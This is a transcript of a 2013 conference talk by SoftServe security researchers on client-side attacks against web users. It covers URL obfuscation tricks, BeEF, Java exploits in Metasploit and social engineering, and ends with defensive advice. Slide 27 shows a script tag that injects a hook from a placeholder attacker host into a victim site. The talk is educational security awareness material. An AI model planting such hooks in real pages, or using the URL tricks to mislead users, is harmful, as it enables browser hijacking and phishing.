Welcome to the world of hacking

42
Welcome to the world of HACKING by Nazar Tymoshyk, R&D team, SoftServe & Bohdan Serednyskyj, R&D team, SoftServe

description

This presentation was prepared specially for IT Weekend Lviv, October 2013 and cover Client Side Attacks against web users.

Transcript of Welcome to the world of hacking

Page 1: Welcome to the world of hacking

Welcome to the world of

HACKINGby Nazar Tymoshyk, R&D team, SoftServe& Bohdan Serednyskyj, R&D team, SoftServe

Page 2: Welcome to the world of hacking

What this topic is about?

Page 3: Welcome to the world of hacking

Як це бачать друзі Що думає мама Як сприймає суспільство

Як це бачить влада Як уявляю собі це я А що є насправді

Page 4: Welcome to the world of hacking

This is more educational topic, not motivational

Page 5: Welcome to the world of hacking

Amateurs hacks - systems, Professionals hacks - PEOPLE

Client Side Attacks

Page 6: Welcome to the world of hacking
Page 7: Welcome to the world of hacking

About me

Page 8: Welcome to the world of hacking

Feel free to ask me anything :)

Page 9: Welcome to the world of hacking

Best SoftServe Team – R&D

Page 10: Welcome to the world of hacking

Security TeamNazar TymoshykCEH, HP FSTS, CIW WSS, Cisco SS, ZSS, CLE, DCTS, DCATS,NAI,CLP,NLTS,CNA,NCLA,MCTS

Bohdan SerednytskyiCEH, MSTC Security, ZSS

Page 11: Welcome to the world of hacking

Certifications

Ph.D in Security

Identity & Security

SoftServe experts are certified in HP Fortify

Security Testing solution

Page 12: Welcome to the world of hacking

Time for fun. Just relax

Page 13: Welcome to the world of hacking

Target – web users

Page 14: Welcome to the world of hacking

Everybody knows that Government is spying us

Page 15: Welcome to the world of hacking

Every day we are getting suspicious emails

Page 16: Welcome to the world of hacking

And online promotions

Yes!!! Just click link below

Page 17: Welcome to the world of hacking

Quick Quiz

1. Will this URL work in IE?

http:\\example.com\

2. What page will be opened in Firefox browser after entering this URL?

http://example.com\@coredump.cx/

1. Yes. IE and most browsers parse “\” as “/” for usability reasons.

2. In Firefox, that URL will take the user to coredump.cx, because example.com\ will be interpreted as a valid value for the login field. In almost all other browsers, “\” will be interpreted as a path delimiter, and the user will land on example.com instead.

Answers

Page 18: Welcome to the world of hacking

Now try it by yourself and answer what you get?!

Page 19: Welcome to the world of hacking

Tricky URLs

For all browsershttp://example.com&gibberish=1234@167772161/

And http://example.com\@coredump.cx/ is http://example.com/ for all…

Page 20: Welcome to the world of hacking

This is it!

For all browsershttp://example.com&gibberish=1234@167772161/

And http://example.com\@coredump.cx/ is http://example.com/ for all…

is http://10.0.0.1/

…but for Firefox it’s http://coredump.cx/

Page 21: Welcome to the world of hacking

Cheatershttp://example.com/.wholesome-domain.com/

This only looks like a real Slash.Read: Evgeniy Gabrilovich and Alex Gontmakher “The Homograph Attack”

Page 22: Welcome to the world of hacking

Server addresses

•http://127.0.0.1/ This is a canonical representation of an IPv4 address.

•http://0x7f.1/ This is a representation of the same address that uses a hexadecimal number to represent the first octet and concatenates all the remaining octets into a single decimal value.

•http://017700000001/ The same address is denoted using a 0-prefixed octal value, with all octets concatenated into a single 32-bit integer.

Page 23: Welcome to the world of hacking

Now attention

Page 24: Welcome to the world of hacking

Recommended Book

Page 25: Welcome to the world of hacking

DEMO I

Page 26: Welcome to the world of hacking

BeeF – Browser exploitation framework

Page 27: Welcome to the world of hacking

Our victim site <script src=http://attackersite/hook.js></script>

http://192.168.241.240:8882

Page 28: Welcome to the world of hacking

Now about Java

Page 29: Welcome to the world of hacking

Everybody likes Java

Page 30: Welcome to the world of hacking

Butthere is a small problem

in 2013

Page 31: Welcome to the world of hacking
Page 32: Welcome to the world of hacking

Java exploits in Metasploit 4

Status - Excellent

Page 33: Welcome to the world of hacking

JVM vulnerabilities

Page 34: Welcome to the world of hacking

DEMO II

Page 35: Welcome to the world of hacking

Social Engineering TOolkit

Page 36: Welcome to the world of hacking

Consequences

• Stolen Developer Cloud access Certificates• Malware and Spyware on PC and mobile• Key loggers • Money Lost – Paypal, webmoney, etc.• Email – recovery and steal accounts• SHAME!

Page 37: Welcome to the world of hacking

Recommendations

• Up to date JAVA and all other software• Antivirus – Kasper rocks!• Encrypted keys to infrastructure• 2 factor authentication everywhere

(email first)• Verify yourself and your browser on …

•Attention

Page 38: Welcome to the world of hacking

OWASP Secure Coding Guide

Page 39: Welcome to the world of hacking

Apache Shiro

Page 40: Welcome to the world of hacking

OWASP WebGoat, DVWA - Train yourself in Security

Page 41: Welcome to the world of hacking

Hope you like it!

Page 42: Welcome to the world of hacking

Now ask!

Thank You!Copyright © 2013 SoftServe, Inc.

Email: [email protected]: root_nt